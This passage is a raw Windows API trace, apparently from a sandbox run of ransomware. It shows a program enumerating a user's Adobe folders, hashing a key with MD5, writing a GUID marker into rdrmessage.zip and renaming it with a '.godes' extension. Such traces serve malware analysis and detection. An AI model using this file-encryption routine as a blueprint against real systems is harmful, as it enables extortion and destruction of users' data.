0x3321430 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.968] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740f38 [0114.968] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.968] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0114.969] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.969] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.969] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.969] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.969] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.969] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.969] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.969] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.969] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.969] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.969] PathFindFileNameW (pszPath="") returned="" [0114.969] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321430 [0114.969] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.971] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.971] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0114.971] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned=".zip" [0114.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.972] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=42495) returned 1 [0114.972] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.974] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa5d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.974] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.975] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xa5ff, lpOverlapped=0x0) returned 1 [0114.976] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.976] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.976] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.976] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0114.976] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.976] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.976] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.977] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.977] GetLastError () returned 0x0 [0114.977] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.977] CryptReleaseContext (hProv=0x740f38, dwFlags=0x0) returned 1 [0114.977] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa5ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.977] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.977] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.977] CloseHandle (hObject=0x624) returned 1 [0114.978] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.godes")) returned 1 [0114.979] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0114.979] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="" [0114.979] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0114.980] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0 [0114.980] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.980] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.980] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0114.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.980] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.980] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.980] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba418 | out: hHeap=0x660000) returned 1 [0114.980] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.980] PathFindFileNameW (pszPath="") returned="" [0114.980] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0114.981] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.981] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0114.981] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x3236620 [0114.981] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32366f8 [0114.981] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x38) returned 0x32a6888 [0114.981] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0114.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320330 | out: hHeap=0x660000) returned 1 [0114.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.981] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32367d0 [0114.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32366f8 | out: hHeap=0x660000) returned 1 [0114.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3236620 | out: hHeap=0x660000) returned 1 [0114.981] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0114.982] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320288 | out: hHeap=0x660000) returned 1 [0114.982] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ecb8 [0114.982] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.982] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.982] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.983] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.984] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.984] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.985] RtlAllocateHeap 